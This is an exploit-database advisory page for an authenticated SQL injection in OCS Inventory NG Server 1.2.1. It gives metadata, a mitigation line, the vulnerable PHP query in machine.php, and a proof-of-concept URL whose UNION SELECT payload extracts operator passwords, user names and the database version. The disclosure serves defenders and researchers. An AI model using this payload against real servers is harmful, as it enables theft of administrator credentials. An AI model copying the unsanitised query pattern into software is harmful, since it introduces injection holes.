OCS Inventory NG Server 1.2.1

vendor:

OCS Inventory NG

by:

Guilherme Marinheiro

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: OCS Inventory NG

Affected Version From: 1.2.1

Affected Version To: 1.2.1

Patch Exists: Yes

Related CWE: N/A

CPE: a:ocsinventory-ng:ocs_inventory_ng:1.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

OCS Inventory NG Server 1.2.1

The Open Computer and Software (OCS) Inventory Next Generation (NG) provides relevant inventory information about system configurations and software on the network. An authenticated user can exploit a SQL injection vulnerability in the machine.php script to gain access to the system. The vulnerable code is located at line 77-79 of the machine.php script.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

OCS Inventory NG Server 1.2.1

Details:

The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network.

 Download : http://www.ocsinventory-ng.org/index.php?page=1-02-1
 Found by : Guilherme Marinheiro                 
 Contact : gmcbr0@gmail.com                      
 Prequisite: Authenticated user                 
 Remote exploitable:Yes (Authentication is needed)         

PoC :
http://localhost/ocsreports/machine.php?systemid=1)%20union%20select%201,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,25,26,27,27,version()%20from%20operators%20--

Vulnerable Code:

script: machine.php

77 $queryMachine    = "SELECT * FROM hardware WHERE (ID=$systemid)";
78 $result   = mysql_query( $queryMachine, $_SESSION["readServer"] ) or mysql_error($_SESSION["readServer"]);
79 $item     = mysql_fetch_object($result);

# milw0rm.com [2009-08-11]